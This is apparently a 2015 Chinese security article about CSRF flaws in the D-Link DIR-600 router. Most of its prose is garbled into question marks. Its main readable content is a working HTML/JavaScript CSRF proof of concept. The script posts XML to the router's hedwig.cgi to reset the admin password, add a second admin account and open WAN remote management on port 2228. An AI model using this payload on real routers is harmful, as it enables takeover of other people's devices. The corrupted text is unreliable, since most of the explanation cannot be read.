D-link·????CSRF??????????
??????????? ???????[ 2015/7/13 9:38:59 ] ?????????????????? ??????
????1??????
????????????????CSRF?????Σ??????D-link??DIR-600·??????????汾??BX??????汾??2.16????CSRF????????
????D-link??CSRF?????????????????????????????????D-link CSRF????????????????CSRF???????????????D-link·??????
????2??CSRF??????
????????Щrequest?????????csrf token???????????????????CSRF???????????????????α?????????????????????????????й?????????????????
???????D-link ????????CSRF???????????????????2?????
????@1?????????μ????????
????@2??????·?????????????
????@3??ping??????????????????????·??????????????????·??????WAN IP?????
????3??PART1:??·????????????μ???????
???????????request?????????
????REQUEST1:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST"?? "http://192.168.0.1/hedwig.cgi"?? true);
xhr.setRequestHeader("Accept"?? "text/html??application/xhtml+xml??application/xml;q=0.9??*/*;q=0.8");
xhr.setRequestHeader("Accept-Language"?? "en-US??en;q=0.5");
xhr.setRequestHeader("Content-Type"?? "text/plain; charset=UTF-8");
xhr.withCredentials = "true";
var body = "<?xml version="1.0" encoding="UTF-8" ?>"+
"
<postxml>"+
"<module>"+
"<service>DEVICE.ACCOUNT</service>"+
"<device>"+
"<account>"+
"<seqno/>"+
"<max>1</max>"+
"<count>2</count>"+
"<entry>"+
"<name>admin</name>"+
"
<password>==OoXxGgYy==</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"<entry>"+
"<name>admin2</name>"+
"
<password>pass2</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"</account>"+
"<session>"+
"<captcha>0</captcha>"+
"<dummy/>"+
"<timeout>180</timeout>"+
"<maxsession>128</maxsession>"+
"<maxauthorized>16</maxauthorized>"+
"</session>"+
"</device>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-1</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-2</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"</postxml>";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request1" onclick="submitRequest();" />
</form>
</body>
</html>
??????
???·???
??????????????????
2023/3/23 14:23:39???д?ò??????????
2023/3/22 16:17:39????????????????????Щ??
2022/6/14 16:14:27??????????????????????????
2021/10/18 15:37:44???????????????
2021/9/17 15:19:29???·???????·
2021/9/14 15:42:25?????????????
2021/5/28 17:25:47??????APP??????????
2021/5/8 17:01:11